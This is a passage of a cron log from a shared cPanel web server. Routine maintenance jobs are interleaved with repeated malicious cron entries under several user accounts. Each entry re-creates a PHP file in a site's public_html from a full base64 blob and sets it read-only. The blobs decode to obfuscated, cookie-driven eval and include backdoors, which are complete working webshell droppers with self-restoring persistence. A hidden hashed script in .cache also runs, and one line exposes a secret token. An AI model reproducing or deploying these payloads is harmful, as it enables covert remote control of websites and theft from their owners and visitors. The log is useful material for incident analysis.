ZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:50:02 medusa CROND[12295]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 08:50:02 medusa CROND[12304]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:50:02 medusa CROND[12296]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Apr 19 08:50:02 medusa CROND[12274]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Apr 19 08:51:01 medusa CROND[3944]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:51:01 medusa CROND[3963]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:51:01 medusa CROND[4010]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:51:01 medusa CROND[4109]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 08:51:01 medusa CROND[4110]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:51:01 medusa CROND[4111]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:51:01 medusa CROND[4115]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:51:01 medusa CROND[4116]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:51:01 medusa CROND[4117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:51:01 medusa CROND[4118]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:51:01 medusa CROND[4127]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 08:51:01 medusa CROND[4132]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 08:51:01 medusa CROND[4134]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 08:51:01 medusa CROND[4135]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:51:01 medusa CROND[4138]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:52:02 medusa CROND[28279]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:52:02 medusa CROND[28281]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:52:02 medusa CROND[28282]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 08:52:02 medusa CROND[28283]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:52:02 medusa CROND[28284]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:52:02 medusa CROND[28286]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 08:52:02 medusa CROND[28285]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:52:02 medusa CROND[28287]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:52:02 medusa CROND[28289]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:52:02 medusa CROND[28290]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:52:02 medusa CROND[28292]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:52:02 medusa CROND[28294]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:52:02 medusa CROND[28296]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
